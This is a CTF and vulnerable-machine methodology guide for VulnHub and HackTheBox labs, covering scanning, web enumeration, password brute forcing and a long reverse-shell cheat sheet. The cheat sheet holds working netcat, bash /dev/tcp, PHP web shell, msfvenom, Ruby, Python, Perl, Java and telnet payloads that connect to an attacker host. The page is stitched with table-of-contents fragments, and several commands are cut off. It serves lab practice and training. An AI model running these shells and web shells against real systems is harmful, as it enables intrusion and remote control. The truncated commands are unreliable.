

## CTF Series : Vulnerable Machines

This post (Work in Progress) records what we learned by doing vulnerable machines provided by [VulnHub](#), [Hack the Box](#) and others. The steps below could be followed to find vulnerabilities, exploit these vulnerabilities and finally achieve system/ root.

Once you download a virtual machine from [VulnHub](#) you can run it by using virtualisation software such as VMWare or Virtual Box.

We would like to **thank g0tm1lk** for maintaining **Vulnhub** and the **moderators** of **HackTheBox**. Also, **shout-outs** are in order for each and every **author of Vulnerable Machines and/ or write-ups**. Thank you for providing these awesome challenges to learn from and sharing your knowledge with the IT security community! **Thank You!!**

Generally, we go through the following stages when solving a vulnerable machine:

- [Finding the IP address](#)
- [Port Scanning](#)
- [Rabbit Holes](#)
- [From Nothing to a Unprivileged Shell](#)
- [Unprivileged Shell to Privileged Shell](#)

In this blog post, we have mentioned, what can be done in each separate stage. Furthermore, we have also provided [Tips and Tricks](#) for solving vulnerable VMs. Additionally [Infrastructure PenTest Series : Part 2 - Vulnerability Analysis](#) could be referred for exploitation of any particular services (i.e. it provides information such as "If you have identified service X (like ssh, Apache tomcat, JBoss, iscsi etc.), how they can be exploited"). Lastly there are also appendixes related to

- [Appendix-I : Local File Inclusion](#)
- [Appendix-II : File Upload](#)
- [Appendix-III Transferring Files from Linux to Windows \(post-exploitation\)](#)
- [Appendix-IV Linux Group Membership Issues](#)

### Table Of Contents

#### CTF Series : Vulnerable Machines

- [Finding the IP address](#)
  - Netdiscover
  - Nmap
- [Port Scanning](#)
  - Nmap
  - Unicornscan
  - Netcat
    - TCP Scan
    - UDP Scan
  - Amap - Application mapper
- [Rabbit Holes](#)
  - Listen to the interface
    - DNS Server
    - SSL Certificate
- [From Nothing to a Unprivileged Shell](#)
  - searchsploit
  - SecLists.Org Security Mailing List Archive
  - Google-Vulns
- [Webservices](#)
  - whatweb
  - nikto
  - dirb, wfuzz, dirbuster
  - BurpSuite Spider
  - Parameter Fuzz?
  - PUT Method
  - Wordpress
  - Names? Possible Usernames &

- [Appendix-V Coding Languages Tricks](#)

## Finding the IP address

Before, exploiting any machine, we need to figure out its IP address.

### Netdiscover

An active/ passive arp reconnaissance tool

```
netdiscover [options]
-i interface : The network interface to sniff and inject packets on.
-r range : Scan a given range instead performing an auto scan.

Example:
netdiscover -i eth0/wlan0/vboxnet0/vmnet1 -r 192.168.1.0/24
```

Interface names of common Virtualisation Software:

- Virtualbox : vboxnet
- Vmware : vmnet

### Nmap

Network exploration tool and security/ port scanner

```
nmap [Scan Type] [Options] {target specification}
-sP/-sn Ping Scan -disable port scan
```

Example:

```
nmap -sP/-sn 192.168.1.0/24
```

### Port Scanning

- Passwords?
- Brute forcing: hydra
- Reverse Shells
  - netcat (nc)
  - PHP
  - Weevily
  - Ruby
  - Perl
  - Python
  - Java
  - JSP
  - Bash /dev/tcp
  - Telnet Reverse Shell
  - XTerm
  - Lynx
  - MYSQL
  - Reverse Shell from Windows
  - MSF Meterpreter ELF
  - Metasploit
  - MSFVenom
- Spawning a TTY Shell
  - Python
  - sh
  - Perl
  - Ruby
  - Lua
  - IRB
  - VI
  - Nmap
  - Expect
  - Sneaky Stealthy SU in (Web) Shells
- Spawning a Fully Interactive TTYs Shell
  - Socat
  - stty

Port scanning provides a large amount of information about open (exposed) services and possible exploits that may target these services.

Common port scanning software include: nmap, unicornscan, netcat (when nmap is not available).

## Nmap

Network exploration tool and security/ port scanner

```
nmap [Scan Type] [Options] {target specification}

HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn/-sP: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery

SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans

PORT SPECIFICATION:
-p : Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9

SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info

OUTPUT:
-oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats
-v: Increase verbosity level (use -vv or more for greater effect)

MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, sc
```

## Unicornscan

A port scanner that utilizes its own userland TCP/IP stack, which allows it to run asynchronous scans. It can scan 65,535 ports in a relatively short time frame.

- ssh-key
- Restricted Shell
  - Definition
  - Reconnaissance
  - Quick Wins
  - Taking help of binaries
  - SSHing from outside
  - Getting out of vim
- Gather information from files
  - Operating System
  - /Proc Variables
  - Environment Variables
  - Configuration Files
  - User History
  - Private SSH Keys / SSH Configuration
  - Logs Files
- Unprivileged Shell to Privileged Shell
  - Windows Privilege Escalation
  - SystemInfo
  - Metasploit Local Exploit Suggestor
  - Sherlock and PowerUp Powershell Script
  - Windows Exploit Suggestor
  - Windows Kernel Exploits
  - Abusing Token Privileges
  - Credential Manager

As unicornscan is faster than nmap it makes sense to use it for scanning large networks or a large number of ports. The idea is to use unicornscan to scan all ports, and make a list of those ports that are open and pass them to nmap for service detection. Superkojiman has written [onetwopunch](#) for this.

```
unicornscan [options] X.X.X.X/YY:S-E  
-i, --interface : interface name, like eth0 or fxp1, not normally required  
-m, --mode : scan mode, tcp (syn) scan is default, U for udp T for tcp \`sf'  
Address ranges are in cidr notation like 1.2.3.4/8 for all of 1.??.??. if yo  
Port ranges are like 1-4096 with 53 only scanning one port, **a** for all 65  
example: unicornscan 192.168.1.5:1-4000 gateway:a would scan port 1 - 4000 fo
```

## Netcat

Netcat might not be the best tool to use for port scanning, but it can be used quickly. While Netcat scans TCP ports by default it can perform UDP scans as well.

### TCP Scan

For a TCP scan, the format is:

```
nc -vvn -z xxx.xxx.xxx.xxx startport-endport  
-z flag is Zero-I/O mode (used for scanning)  
-vv will provide verbose information about the results  
-n flag allows to skip the DNS lookup
```

### UDP Scan

For a UDP Port Scan, we need to add -u flag which makes the format:

```
nc -vvn -u -z xxx.xxx.xxx.xxx startport-endport
```

If we have windows machine without nmap, we can use [PSnmap](#)

- Other Enumeration
- Linux Privilege Escalation
- Privilege escalation from g0tm1lk blog
  - What "Advanced Linux File Permissions" are used?
  - Where can written to and executed from?
  - Any "problem" files?
  - Find files/ folder owned by the user
- Other Linux Privilege Escalation
  - Execution of binary from Relative location than Absolute
  - Environment Variable Abuse
  - World-Writable Folder with a Script executing any file in that folder using crontab
  - Symlink Creation
  - Directory Symlink
  - Time of check to time of use
  - Writable /etc/passwd or account credentials came from a legacy unix system

## Amap - Application mapper

When portscanning a host, you will be presented with a list of open ports. In many cases, the port number tells you which application is running. Port 25 is usually SMTP, port 80 mostly HTTP. However, this is not always the case, and especially when dealing with proprietary protocols running on non-standard ports you will not be able to determine which application is running.

By using **amap**, we can identify which services are running on a given port. For example is there a SSL server running on port 3445 or some oracle listener on port 23? Note that the application can also handle services that requires SSL. Therefore it will perform an SSL connect followed by trying to identify the SSL-enabled protocol!. e.g. One of the vulnhub VM's was running http and https on the same port.

```
amap -A 192.168.1.2 12380
amap v5.4 (www.thc.org/thc-amap) started at 2016-08-10 05:48:09 - APPLICATION
Protocol on 192.168.1.2:12380/tcp matches http
Protocol on 192.168.1.2:12380/tcp matches http-apache-2
Protocol on 192.168.1.2:12380/tcp matches ntp
Protocol on 192.168.1.2:12380/tcp matches ssl
Unidentified ports: none.
amap v5.4 finished at 2016-08-10 05:48:16
```

## Rabbit Holes

There will be instances when we will not be able to find anything entry point such as any open port. The section below may provide some clues on how to get unstuck.

### Note

When in doubt, enumerate

## Listen to the interface

Many VMs send data on random ports therefore we recommend to listen to the local interface (vboxnet0 / vmnet) on which the VM is running. This can be done by using wireshark or tcpdump.

- Elevating privilege from a suid binary
- Executing Python script with sudo
- MySQL Privileged Escalation
- More Information
- Cron.d
  - pspy
- Unattended APT - Upgrade
  - DPKG
  - APT
- SUDO -I Permissions
  - nmap suid
  - tee suid
  - tcpdump
  - zip
  - find
  - wget
  - Package Installation
- Unix Wildcards
  - Chown file reference trick (file owner hijacking)
  - Chmod file reference trick
  - Tar arbitrary command execution
  - Rsync arbitrary command execution
- Tips and Tricks
  - Windows
    - Get-ChildItem Mode Values
    - Zip or unzip using ONLY Windows' built-

For example, one of the vulnhub VMs, performs an arp scan and sends a SYN packet on port 4444, if something is listening on that port, it sends some data.

```
tcpdump -i eth0

18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], seq 86
18:02:04.096330 IP 192.168.56.1.4444 > 192.168.56.101.36327: Flags [R.], seq 0
18:02:04.098584 ARP, Request who-has 192.168.56.2 tell 192.168.56.101, length
18:02:04.100773 ARP, Request who-has 192.168.56.3 tell 192.168.56.101, length
18:02:04.096292 IP 192.168.56.101.36327 > 192.168.56.1.4444: Flags [S], seq
```

While listening on port 4444, we might receive something like a base64 encoded string or some message.

```
nc -lvp 4444
listening on [any] 4444 ...
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.101] 39519
0IHNPbGVuY2Ugc3Vycm91bmRpcmcgeW91Lg0KWW91IGxvb2sgZWfdCwgdGhlbiBzb3V0aCwgdGhlt
```

## DNS Server

If the targeted machine is running a DNS Server and we have a possible domain name, we may try to figure out A, MX, AAAA records or try zone-transfer to figure out other possible domain names.

```
host <domain> <optional_name_server>
host -t ns <domain>          -- Name Servers
host -t a <domain>            -- Address
host -t aaaa <domain>         -- AAAA record points a domain or subdomain
host -t mx <domain>           -- Mail Servers
host -t soa <domain>          -- Start of Authority
host <IP>                     -- Reverse Lookup
host -l <Domain Name> <DNS Server> -- Domain Zone Transfer
```

Example:

Create PDF in your applications with the Pdfcrowd [HTML to PDF API](#)

PDFCROWD

- in capabilities?
- Alternate Data Stream
- Redirecting Standard Out and Standard Error from PowerShell Start-Process
- NTDS.dit and SYSTEM hive
- ICMP Shell
- Recovering password from System.Security.SecureString
- Copy To or From a PowerShell Session
- Get-Hash
- Active Directory Enumeration and Remote Code Execution
- Others
- Wget
  - FTP via Wget
  - wgetrc Commands
  - Tricks
- SSH
  - ssh\_config
- SSH Tunneling
  - Local Port Forwarding
  - Remote Port Forwarding
  - SSH as SOCKS Proxy
  - VPN-like tunnelling?
  - SCP
- Plink

```
host scanme.nmap.org
scanme.nmap.org has address 45.33.32.156
scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe18:bb2f
```

#### Tip

Usually, DNS runs on UDP Port. However, If DNS is running on TCP port, probably DNS Zone Transfer would be possible.

## SSL Certificate

If the targeted machine is running an https server and we are getting an apache default webpage on hitting the <https://IPAddress>, virtual hosts would be probably in use. Check the alt-dns-name on the ssl-certificate, create an entry in hosts file (/etc/hosts) and check what is being hosted on these domain names by surfing to <https://alt-dns-name>.

nmap service scan result for port 443 (sample)

```
| ssl-cert: Subject: commonName=examplecorp.com/organizationName=ExampleCorp Ltd
| Subject Alternative Name: DNS:www.examplecorp.com, DNS:admin-portal.examplecorp.com
```

## From Nothing to a Unprivileged Shell

At this point, we would have an idea about the different services and service version running on the system. Besides the output given by nmap. It is also recommended to check what software is being used on the webservers (e.g. certain cms's)

## searchsploit

Exploit Database Archive Search

First of all, we check if the operating system and/ or the exposed services are vulnerable to exploits which are already available on the internet. For example, a vulnerable service webmin is present in one of the VMs which could be exploited to extract information from the system.

- OpenVPN Configuration File Reverse Shell?
  - Linux
  - Windows
- HTTP
  - First things
  - CSC Austria: CTF Tips and Tricks
  - htaccess - UserAgent
  - CGI-BIN Shellshock
  - XSS/ HTML Injection
  - curl
  - HTTP Referer
  - Data-URI
  - Login-Pages
  - Delete Tags
  - HTTP 404 Custom Page
- Password Protected File
  - ZIP File
  - rar2john
  - keepass2john
- Encrypted Files
  - Symmetric Key
  - RSA Public-Private Key encryption
  - RSA given q, p and e?
  - SECCURE Elliptic Curve Crypto Utility for Reliable Encryption
  - GPG
- Network Information
  - ip
  - hostname
  - ss

```
root@kali:~# nmap -sV -A 172.16.73.128
*****Trimmed*****
10000/tcp open  http      MiniServ 0.01 (Webmin httpd)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_ndmp-version:
|_ERROR: Failed to get host information from server
*****Trimmed*****
```

If we search for webmin with searchsploit, we will find different exploits available for it and we just have to use the correct one based on utility and the matching version.

```
root@kali:~# searchsploit webmin
*****Trimmed*****
Description
-----
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl)
Webmin 1.x HTML Email Command Execution Vulnerability
*****Trimmed*****
```

Once we have figured out which exploit to check we can read about it by using the file-number. For example: 1997, 2017, 24574 in the above case.

```
searchsploit -x 24674
```

Searchsploit provides an option to read the nmap XML file and suggest vulnerabilities (Requires nmap -sV -x xmlfile).

```
searchsploit
--nmap      [file.xml] Checks all results in Nmap's XML output with service
Use "-v" (verbose) to try even more combinations
```

#### Tip

- User Home Directory
    - Firefox/ Thunderbird/ Seabird
  - Sudoers file
    - secure\_path
    - env\_reset
    - mail\_badpass
  - run-parts
  - Java keystore file
  - Cracking MD5 Hashes
  - Steghide
  - Git client Privilege Escalation
    - GIT\_SSH
    - GIT\_TEMPLATE\_DIR
  - Metasploit shell upgrade
  - Truecrypt Files
  - Grep in input box?
  - Others
- Cyber-Deception
    - Wordpot
    - FakeSMTP
    - Rubberglue
    - Knockd
    - DCEPT
  - Useful Tools
- Appendix-I : Local File Inclusion
    - Tools
      - Filtering in LFI
    - LFI to Remote Code Execution
      - File upload forms/functions
      - PHP wrapper expect://command
      - PHP Wrapper zip

If we don't manage to find an exploit for a specific version, it is recommended to check the notes of the exploits which are highlighted as they may be valid for lower versions too. For example Let's say we are searching for exploits in Example\_Software version 2.1.3. However, version 2.2.2 contains multiple vulnerabilities. Reading the description for 2.2.2 we find out it's valid for lower versions too.

## SecLists.Org Security Mailing List Archive

There will be some days, when you won't find vulnerabilities with searchsploit. In this case, we should also check the [SecLists.Org Security Mailing List Archive](#), if someone has reported any bug(s) for that particular software that we can exploit.

## Google-Vulns

It is suggested that whenever you are googling something, you add words such as vulnerability, exploit, ctf, github, python, tool etc. to your search term. For example. Let's say, you are stuck in a docker or on a specific cms search for docker ctf or <cms\_name> ctf/ github etc.

## Webservices

If a webserver is running on a machine, we can start with running

### whatweb

Utilize whatweb to find what software stack a server is running.

```
whatweb www.example.com
http://www.example.com [200 OK] Cookies[ASP.NET_SessionId,CMSPreferredCulture,
```

### nikto

nikto - Scans a web server for known vulnerabilities.

It will examine a web server to find potential problems and security vulnerabilities, including:

- PHP Wrapper phar
- PHP wrapper php://file
- PHP wrapper php://filter
- PHP input:// stream
- data://text/plain;base64,command
- /proc/self/environ
- /proc/self/fd
- Control over PHP Session Values
- Email Server
- Appendix-II : File Upload
  - Examples
    - Simple File Upload
    - Simple File Upload - With verifying image type
    - Modifying File Upload Page
    - IIS - Web.config Upload
  - Appendix-III Transferring Files from Linux to Windows (post-exploitation)
  - SMB
    - SMB Server - Attacker
    - Accessing the share - Linux
    - Accessing the share - Windows
    - Copying the Files - Windows
  - HTTP

- Server and software misconfigurations
- Default files and programs
- Insecure files and programs
- Outdated servers and programs

### **dirb, wfuzz, dirbuster**

Furthermore, we can run the following programs to find any hidden directories.

- [DIRB](#) is a Web Content Scanner. It looks for existing (and/ or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analysing the response.
- [wfuzz](#) - a web application bruteforcer. Wfuzz might be useful when you are looking for webpage of a certain size. For example: Let's say, when we dirb we get 50 directories. Each directory containing an image. Often, we then need to figure out which image is different. In this case, we would figure out what's the size of the normal image and hide that particular response with wfuzz.
- [Dirbuster](#) : DirBuster is a multi threaded java application designed to brute force directories and files names on web/ application servers.
- [gobuster](#) : Gobuster is a tool used to brute-force URIs (directories and files) in web sites and DNS subdomains (with wildcard support). (golang can be installed using apt-get).

#### **Tip**

Most likely, we will be using common.txt (`/usr/share/wordlists/dirb/`) . If it's doesn't find anything, it's better to double check with `/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt` which is a list of directories that where found on at least 2 different hosts when DirBuster project crawled the internet. Even if that doesn't work out, try searching with extensions such as .txt, .js, .html, .php. (.txt by default and rest application based)

#### **Tip**

- [Setting up the Server](#)
- [Accessing the Server](#)
  - Windows
- [FTP](#)
  - [Setting up the Server](#)
  - [Access using FTP](#)
- [TFTP](#)
  - [Setting up the Server](#)
  - [Accessing the Share](#)
  - [Installing tftp](#) - Windows
- [Appendix-IV Linux Group Membership Issues](#)
  - [Docker Group](#)
    - [Create a Dockerfile](#)
    - [Build the Docker](#)
    - [Become root?](#)
  - [Video](#)
  - [Disk](#)
    - [Set file system](#)
    - [List files](#)
    - [List the files with a long listing](#)
    - [Dump the contents of file1](#)
    - [Dump an inode to a file](#)
  - [LXD](#)
    - [Exploiting](#)
- [Appendix-V Coding Languages Tricks](#)
  - [Python](#)
    - [Pickle](#)
  - [PHP](#)
    - [Preg\\_Replace](#)
    - [Complex Curly Syntax](#)

If using the dirb/ wfuzz wordlist doesn't result in any directories and the website contains a lot of text, it might be a good idea to use cewl to create a wordlist and utilize that as a dictionary to find hidden directories. Also, it sometimes make sense to dirb/wfuzz the IPAddress instead of the hostname like [filesrv.example.com](http://filesrv.example.com) (Maybe found by automatic redirect)

### Tip

It's important to know that dirb shows the directories found based on the response code, so if a web-application shows 404 status code instead of 200, dirbuster would miss it. In that case, wfuzz or gobuster or Burpsuite would help as they check for response length too.

### BurpSuite Spider

There will be some cases when dirb/ dirbuster doesn't find anything. This happened with us on a Node.js web application. Burpsuite's spider helped in finding extra-pages which contained the credentials.

### Parameter Fuzz?

Sometimes, we might have a scenario where we have a website which might be protected by a WAF.

<http://IP/example>

Now, this "/example" might be a php or might be accepting a GET Parameter. In that case, we probably need to fuzz it. The hardest part is that we can only find the GET parameters by fuzzing "/example" if you get some errors from the application, so the goal is to fuzz using a special char as the parameter's value, something like: "/example?FUZZ=' "

```
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "U
```

- Xdebug
- Type Juggling/ Magic Bytes
- LUA
- Appendix-VI Metasploit Module Writing?
- Changelog

### This Page

Show Source  
Show on GitHub  
Edit on GitHub

### Quick search

 Go

The other things which we may try is putting a valid command such as 'ls, test' so it becomes FUZZ=ls or FUZZ=test

### PUT Method

Sometimes, it is also a good idea to check the various HTTP verbs that are available such as GET, PUT, DELETE, etc. This can be done by making an **OPTIONS** request.

Curl can be used to check the available options (supported http verbs):

```
curl -X OPTIONS -v http://192.168.126.129/test/
Trying 192.168.126.129...
Connected to 192.168.126.129 (192.168.126.129) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.126.129
> User-Agent: curl/7.47.0
> Accept: /
>
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
< Date: Fri, 29 Apr 2016 09:41:19 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.126.129 left intact
```

The PUT method allows you to upload a file which can help us to get a shell on the machine.

There are multiple methods available for uploading a file with the PUT method mentioned on

[Detecting and exploiting the HTTP Put Method](#)

A few are:

- Nmap:

```
nmap -p 80 --script http-put --script-args http-put.url='/uploads/ro
```

- curl:

```
curl --upload-file test.txt -v --url http://192.168.126.129/test/tes
```

or

```
curl -X PUT -d '  
curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d  
curl -X PUT -d "text or data to put" http://IPAddress/destination pa  
curl -i -H "Accept: application/json" -X PUT -d "text or data to put"
```

## Wordpress

When faced with a website that makes use of the wordpress CMS one can run wpscan. Make sure you run –enumerate u for enumerating usernames because by default wpscan doesn't run it. Also, scan for plugins

```
wpscan  
--url      | -u <target url>      The WordPress URL/domain to scan.  
--force    | -f                  Forces WPScan to not check if the remote  
--enumerate | -e [option(s)]    Enumeration.  
option :  
  u        usernames from id 1 to 10  
  u[10-20] usernames from id 10 to 20 (you must write [] chars)  
  p        plugins  
  vp       only vulnerable plugins  
  ap       all plugins (can take a long time)  
  tt       timthumbs (vulnerability scanner)  
  t        themes  
  vt       only vulnerable themes  
  at       all themes (can take a long time)  
Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plu  
  
If no option is supplied, the default is "vt,tt,u,vp"  
(only vulnerable themes, timthumbs, usernames from id 1 to 10, only vuln
```

We can also use wpscan to bruteforce passwords for a given username

```
wpscan --url http://192.168.1.2 --wordlist wordlist.txt --username example_use
```

## Tips

- wpscan scans the themes, plugins by passive scanning, if we are not finding anything, it might be good idea to do scanning with all plugins (ap) and all themes (at). Sometimes, plugin may fake their version, so probably, good idea to readme and check for vulns.
- If we have found a username and password of wordpress with admin privileges, we can upload a php meterpreter. One of the possible ways is to go to Appearance > Editor > Edit 404 Template.
- The configuration of worpdress is normally speaking stored in **wp-config.php**. If you are able to download it, you might be lucky and be able to loot plaintext username and passwords to the database or wp-admin page.
- If the website is vulnerable for SQL-Injection. We should be able to extract the wordpress users and their password hashes. However, if the password hash is not crackable. Probably, check the wp-posts table as it might contain some hidden posts.
- Got wordpress credentials, maybe utilize [WP Term](#) an xterm-like plugin. It can be used to run non-interactive shell commands from the WordPress admin dashboard.
- If there's a custom plugin created, it would probably be in the location

```
http://IP/wp-content/plugins/custompluginname
```

## Todo

what is the (standard) format of a wp hash and where in the database is it stored? Elborate more on wp scanning and vulnerabilities?

## Names? Possible Usernames & Passwords?

Sometimes, when visiting webpages, you will find possible names of the employees working in the company. It is common practice to have a username based on your first/ last name. Superkojiman has written [namemash.py](#) which could be used to create possible usernames. However, after completion we are left with a large amount of potential usernames with no passwords.

If the vulnerable machine is running a SMTP mail server, we can verify if a particular username exists or not.

- Using metasploit smtp\_enum module: Once msfconsole is running, use auxiliary/scanner/smtp/smtp\_enum, enter the RHOSTS (target address) and USER FILE containing the list of probable user accounts.
- Using VRFY command:
- Using RCPT TO command:

Once we have identified a pattern of username creation, we may modify namemash.py to generate usernames and check if they exist or not.

### Brute forcing: hydra

Hydra can be used to brute force login web pages

```
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE (p
-p PASS or -P FILE try password PASS, or load several passwords from FILE (p
-U      service module usage details
-e nsr additional checks, "n" for null password, "s" try login as pass, "r" tr
```

hydra http-post-form:

```
hydra -U http-post-form
```

### Help for module http-post-form

Module http-post-form requires the page and the parameters for the web form.

The parameters take three ":" separated values, plus optional values.

Syntax: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]]

- First is the page on the server to send a GET or POST request to (URL).
- Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced with the "USER" and "PASS" placeholders (FORM PARAMETERS)
- Third is the string that it checks for an *invalid* login (by default). Invalid condition login check can be preceded by "F=", successful condition login check must be preceded by "S=". This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter!
- The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers!

- Note:
  - 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not.
  - 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end
- Note that if you are going to put colons (:) in your headers you should escape them with a backslash (\). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Examples:

```
"/login.php:user=^USER^&pass=^PASS^:incorrect"
"/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success"
"/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
```

```
"/:user=^USER&pass=^PASS^:failed:H=Authorization\:\ sessi  
"/exchweb/bin/auth/owauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&fl
```

## Todo

Add a program/binary that has easier syntax, ncrack maybe? Elaborate on the examples, eg. what they will do once executed?

## Reverse Shells

Once we have figured out some vulnerability or misconfiguration in a running service which allows us to make a connection back to our attack machine, we would like to set up a reverse shell. This can be done through various methods e.g. by using netcat, php, weevily, ruby, perl, python, java, jsp, bash, tcp, Xterm, Lynx, Mysql. The section below has been mostly adapted from [PentestMonkey Reverse shell cheat sheet](#) and [Reverse Shell Cheat sheet from HighOn.Coffee](#) and more.

### netcat (nc)

TCP Mode

- with the -e option

```
nc -e /bin/sh 10.1.1.1 4444
```

- without -e option

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234
```

## Tip

f in this case is a file name, if you want to have more than one reverse shell with this method you will have to use another letter (a ... z) then the one you used initially.

## UDP Mode

Just use the UDP Mode (-u)

```
nc -h  
[v1.10-41.1]  
connect to somewhere: nc [-options] hostname port[s] [ports] ...  
listen for inbound: nc -l -p port [-options] [hostname] [port]  
options:  
-l                      listen mode, for inbound connects  
-n                      numeric-only IP addresses, no DNS  
-p port                 local port number  
-u                      UDP mode
```

## PHP

- **PHP Web Shell**

This is a kind of Web shell and not a reverse shell.

We can create a new file say (shell.php) on the server containing

```
<?php system($_GET["cmd"]); ?>
```

or

```
<?php echo shell_exec($_GET["cmd"]); ?>
```

or

```
<? passthru($_GET["cmd"]); ?>
```

which can then be accessed by

```
http://IP/shell.php?cmd=id
```

If there's a webpage which accepts phpcode to be executed, we can use curl to urlencode the payload and run it.

```
curl -G -s http://10.X.X.X/somepage.php?data= --data-urlencode "html  
-G When used, this option will make all data specified with -d, --da-  
-data-urlecode <data> (HTTP) Posts data, similar to the other -d, -  
-b, --cookie <data> (HTTP) Passes the data to the HTTP server in the
```

The sed command in the end

```
sed '/<html>/,<\/html>/d'
```

deletes the content between <html> and </html> tag.

If you also want to provide upload functionality (imagine, if we need to upload nc64.exe on Windows or other-binaries on linux), we can put the below code in the php file

```
<?php  
if (isset($_REQUEST['fupload'])) {  
    file_put_contents($_REQUEST['fupload'], file_get_contents("http://  
");  
if (isset($_REQUEST['cmd'])) {  
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";  
}  
?>
```

The above can be accessed by

```
http://IP/shell.php?fupload=filename_on_your_webserver
```

- **PHP Meterpreter**

We can create a php meterpreter shell, run a exploit handler on msf, upload the payload on the server and wait for the connection.

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LP0RT=4444
```

We can set the multi-handler in metasploit by

```
use exploit/multi/handler  
set payload php/meterpreter/reverse_tcp  
set LHOST yourIP  
run
```

- **PHP Reverse Shell**

The code below assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn't work, try 4 or 5 or 6.

```
php -r '$sock=fsockopen("192.168.56.101",1337);exec("/bin/sh -i <&3 >&3")'
```

The above can be connected to by listening on port 1337 by using nc.

## Weevely

Weevely also generates a webshell

```
weevely generate password /tmp/payload.php
```

which can then be called by

```
weevely http://192.168.1.2/location_of_payload password
```

However, it was not as useful as php meterpreter or a reverse shell.

### Todo

Elaborate -> why wasn't it useful? iirc (really not sure) if you don't provide a password it will ask for it

## Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh")'
```

## Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotob
```

## Python

TCP

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.S
```

UDP

```
import os,pty,socket;s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connr
```

## Java

```
r = Runtime.getRuntime()  
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do echo $line; done >&4"]);  
p.waitFor()
```

## JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war
```

## Bash /dev/tcp

If a server (attacker machine) is listening on a port:

```
nc -lvp port
```

then we can use the below to connect

Method 1:

```
/bin/bash -i >/dev/tcp/IP/Port 0>&1
```

Method 2:

```
exec 5</dev/tcp/IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
```

Method 3:

```
0<&196;exec 196</dev/tcp/IP/Port; sh <&196 >&196 2>&196
-- We may execute the above using bash -c "Aboveline "
```

[Information about Bash Built-in /dev/tcp File \(TCP/IP\)](#)

The following script fetches the front page from Google:

```
exec 3</dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n
cat <&3
```

- The first line causes file descriptor 3 to be opened for reading and writing on the specified TCP/IP socket. This is a special form of the exec statement. From the bash man page:

```
exec [-cl] [-a name] [command [arguments]]
```

If command is not specified, any redirections take effect in the current shell, and the return status is 0. So using exec without a command is a way to open files in the current shell.

- Second line: After the socket is open we send our HTTP request out the socket with the echo ... >&3 command. The request consists of:

```
GET / HTTP/1.1
host: http://www.google.com
Connection: close
```

Each line is followed by a carriage-return and newline, and all the headers are followed by a blank line to signal the end of the request (this is all standard HTTP stuff).

- Third line: Next we read the response out of the socket using cat <&3, which reads the response and prints it out.

## Telnet Reverse Shell

```
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
```

### Todo

explain the example above

## XTerm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the victim server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

```
Xnest :1 -listen tcp
```

You'll need to authorize the target to connect to you (command also run on your host):

